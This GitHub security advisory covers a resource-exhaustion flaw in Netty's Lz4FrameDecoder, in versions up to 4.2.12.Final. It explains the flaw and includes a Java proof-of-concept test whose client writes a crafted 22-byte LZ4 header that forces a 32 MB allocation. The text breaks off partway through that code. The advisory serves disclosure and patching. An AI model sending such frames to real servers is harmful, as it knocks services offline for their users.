GitHub Security Advisory: GHSA-mj4r-2hfc-f8p6
Package: io.netty:netty-codec-compression (MAVEN)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 4.2.12.Final
Patched in: 4.2.13.Final

Summary: Netty Lz4FrameDecoder is vulnerable to resource exhaustion 

Details:
### Summary
Lz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.

### Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after `readableBytes >= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.

### PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

```java
    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf)